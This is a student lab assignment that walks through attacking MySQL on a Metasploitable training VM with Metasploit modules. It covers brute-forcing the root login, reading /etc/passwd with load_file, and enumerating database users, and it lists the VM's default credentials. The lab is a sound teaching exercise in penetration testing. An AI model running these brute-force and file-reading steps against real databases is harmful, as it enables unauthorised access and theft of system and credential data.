

Project – MySQL Hacking with Metasploit

- This project is to understand how we can break into a target using tools such as Metasploit. Following the instructions, student will brute force logins, extract password hashes, and enumerate database users.
- *For answers, please use the accompanying word document.*

Tutorials

- Nmap: *Nmap 6: Network Exploration and Security Auditing Cookbook* by Paulino Calderón Pale.
- Metasploit: <https://www.metasploit.com/>
- Armitage: <https://www.offensive-security.com/metasploit-unleashed/armitage-setup/>
- Metasploit for Beginners - Modules, Exploits, Payloads And Shells: https://www.youtube.com/watch?v=TieUDcbk-bg&ab_channel=LoiLiangYang

Preps

- Start the **Kali (External)** and **Metasploitable** VMs.

How to use Metasploit on Kali

- First, you need to start the databases service to store all the results. Type this command on Kali: **systemctl start postgresql**.
- Second, if you're running Metasploit for the first time, you need to create a database schema. Type this command: **msfdb init**.
- Next, you start the Metasploit by typing this command: **msfconsole**.

Retrieving IP Addresses of VMs for Pentesting

Identify the IP addresses of the following VMs. You can obtain the IP addresses of each VM by manually running **ifconfig** on each VM.

- a. Kali: _____
- b. Metasploitable: _____

Before each exploit below, check whether you can ping the **Metasploitable**. When you cannot ping Metasploitable, login to the VM (id=**msfadmin**/pwd=**msfadmin**) and run this command: **sudo reboot**.

Tasks

References:

- <https://charlesreid1.com/wiki/Metasploitable/MySQL>

- <https://null-byte.wonderhowto.com/how-to/enumerate-mysql-databases-with-metasploit-0203485/>

Instructions

- Perform the three tasks below using the suggested steps.

Task 1: Brute-forcing logins (10)

- root@kali:~# msfconsole
 - msf > search mysql
 - msf > use **auxiliary/scanner/mysql/mysql_login**
Alternatively, you can put the number on the left side. (e.g., use x)
 - msf auxiliary(mysql_login) > show options
 - msf auxiliary(mysql_login) > setg RHOSTS [IP address of the Metasplotable VM]
 - msf auxiliary(mysql_login) > setg USERNAME root
 - msf auxiliary(mysql_login) > setg BLANK_PASSWORDS true
 - msf auxiliary(mysql_login) > exploit
- Take a screenshot of the outcome. Explain what you have done and accomplished.

Task 2: Dumping /etc/passwd from MySQL (3)

- msf > search mysql
 - msf auxiliary(mysql_sql) > use **auxiliary/admin/mysql/mysql_sql**
 - msf auxiliary(mysql_sql) > show options
 - msf auxiliary(mysql_sql) > set RHOSTS [IP address of the Metasplotable VM]
 - msf auxiliary(mysql_sql) > set USERNAME root
 - msf auxiliary(mysql_sql) > set BLANK_PASSWORDS true
 - msf auxiliary(mysql_sql) > set **SQL select load_file('\etc/passwd')**
 - msf auxiliary(mysql_sql) > exploit
- Take a screenshot of the outcome. Explain what you have done and accomplished.
 - To understand the structure of **/etc/passwd** file, go to:
<https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/>
 - i. msf auxiliary(mysql_sql) > set sql show databases
 - Take a screenshot of the outcome. Explain what you have done and accomplished.

Task 3: Enumerating MySQL Users (2)

- msf > search mysql
- msf auxiliary(mysql_enum) > use **auxiliary/admin/mysql/mysql_enum**
- msf auxiliary(mysql_enum) > show options

- d. `msf auxiliary(mysql_enum) > set RHOSTS [IP address of the Metasploitable VM]`
- e. `msf auxiliary(mysql_enum) > set USERNAME root`
- f. `msf auxiliary(mysql_enum) > set BLANK_PASSWORDS true`
- g. `msf auxiliary(mysql_enum) > exploit`
 - [Take a screenshot of the outcome. Explain what you have done and accomplished.](#)
- h. `msf auxiliary(mysql_enum) > exit`